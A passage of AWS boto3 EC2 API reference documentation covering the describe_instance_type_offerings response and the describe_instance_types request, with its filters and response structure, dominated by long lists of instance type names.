Filter names and values are case-sensitive. + + * location - This depends on the location type. For example, if the location type is region (default), the location is the Region code (for example, us-east-2 .) + * instance-type - The instance type. For example, c5.2xlarge . + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the next token value. +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceTypeOfferings': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'LocationType': 'region'|'availability-zone'|'availability-zone-id', + 'Location': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceTypeOfferings** _(list) --_ + + The instance types offered. + + * _(dict) --_ + + The instance types offered. + + * **InstanceType** _(string) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **LocationType** _(string) --_ + + The location type. + + * **Location** _(string) --_ + + The identifier for the location. This depends on the location type. For example, if the location type is region , the location is the Region code (for example, us-east-2 .) + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_instance_types(kwargs_) + +Describes the details of the instance types that are offered in a location. The results can be filtered by the attributes of the instance types. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceTypes) + +**Request Syntax** + +response = client.describe_instance_types( + DryRun=True|False, + InstanceTypes=[ + 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceTypes** (_list_) -- + + The instance types. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + * auto-recovery-supported - Indicates whether auto recovery is supported (true | false ). + * bare-metal - Indicates whether it is a bare metal instance type (true | false ). + * burstable-performance-supported - Indicates whether it is a burstable performance instance type (true | false ). + * current-generation - Indicates whether this instance type is the latest generation instance type of an instance family (true | false ). + * ebs-info.ebs-optimized-info.baseline-bandwidth-in-mbps - The baseline bandwidth performance for an EBS-optimized instance type, in Mbps. + * ebs-info.ebs-optimized-info.baseline-iops - The baseline input/output storage operations per second for an EBS-optimized instance type. + * ebs-info.ebs-optimized-info.baseline-throughput-in-mbps - The baseline throughput performance for an EBS-optimized instance type, in MB/s. + * ebs-info.ebs-optimized-info.maximum-bandwidth-in-mbps - The maximum bandwidth performance for an EBS-optimized instance type, in Mbps. + * ebs-info.ebs-optimized-info.maximum-iops - The maximum input/output storage operations per second for an EBS-optimized instance type. + * ebs-info.ebs-optimized-info.maximum-throughput-in-mbps - The maximum throughput performance for an EBS-optimized instance type, in MB/s. + * ebs-info.ebs-optimized-support - Indicates whether the instance type is EBS-optimized (supported | unsupported | default ). + * ebs-info.encryption-support - Indicates whether EBS encryption is supported (supported | unsupported ). + * ebs-info.nvme-support - Indicates whether non-volatile memory express (NVMe) is supported for EBS volumes (required | supported | unsupported ). + * free-tier-eligible - Indicates whether the instance type is eligible to use in the free tier (true | false ). + * hibernation-supported - Indicates whether On-Demand hibernation is supported (true | false ). + * hypervisor - The hypervisor (nitro | xen ). + * instance-storage-info.disk.count - The number of local disks. + * instance-storage-info.disk.size-in-gb - The storage size of each instance storage disk, in GB. + * instance-storage-info.disk.type - The storage technology for the local instance storage disks (hdd | ssd ). + * instance-storage-info.nvme-support - Indicates whether non-volatile memory express (NVMe) is supported for instance store (required | supported ) | unsupported ). + * instance-storage-info.total-size-in-gb - The total amount of storage available from all local instance storage, in GB. + * instance-storage-supported - Indicates whether the instance type has local instance storage (true | false ). + * instance-type - The instance type (for example c5.2xlarge or c5*). + * memory-info.size-in-mib - The memory size. + * network-info.efa-supported - Indicates whether the instance type supports Elastic Fabric Adapter (EFA) (true | false ). + * network-info.ena-support - Indicates whether Elastic Network Adapter (ENA) is supported or required (required | supported | unsupported ). + * network-info.ipv4-addresses-per-interface - The maximum number of private IPv4 addresses per network interface. + * network-info.ipv6-addresses-per-interface - The maximum number of private IPv6 addresses per network interface. + * network-info.ipv6-supported - Indicates whether the instance type supports IPv6 (true | false ). + * network-info.maximum-network-interfaces - The maximum number of network interfaces per instance. + * network-info.network-performance - The network performance (for example, "25 Gigabit"). + * processor-info.supported-architecture - The CPU architecture (arm64 | i386 | x86_64 ). + * processor-info.sustained-clock-speed-in-ghz - The CPU clock speed, in GHz. + * supported-root-device-type - The root device type (ebs | instance-store ). + * supported-usage-class - The usage class (on-demand | spot ). + * supported-virtualization-type - The virtualization type (hvm | paravirtual ). + * vcpu-info.default-cores - The default number of cores for the instance type. + * vcpu-info.default-threads-per-core - The default number of threads per core for the instance type. + * vcpu-info.default-vcpus - The default number of vCPUs for the instance type. + * vcpu-info.valid-cores - The number of cores that can be configured for the instance type. + * vcpu-info.valid-threads-per-core - The number of threads per core that can be configured for the instance type. For example, "1" or "1,2". + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the next token value. +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceTypes': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|#39;r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'